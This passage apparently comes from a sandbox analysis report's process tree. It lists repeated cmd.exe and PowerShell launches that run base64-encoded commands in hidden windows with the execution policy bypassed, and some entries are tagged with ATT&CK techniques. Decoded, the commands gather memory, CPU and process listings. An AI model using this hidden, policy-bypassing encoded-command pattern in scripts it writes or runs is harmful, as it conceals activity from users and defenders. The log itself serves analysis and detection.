QBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:5264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:4188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:5596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:5300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:3984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:3504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4488
- C:\Windows\system32\cmd.exe
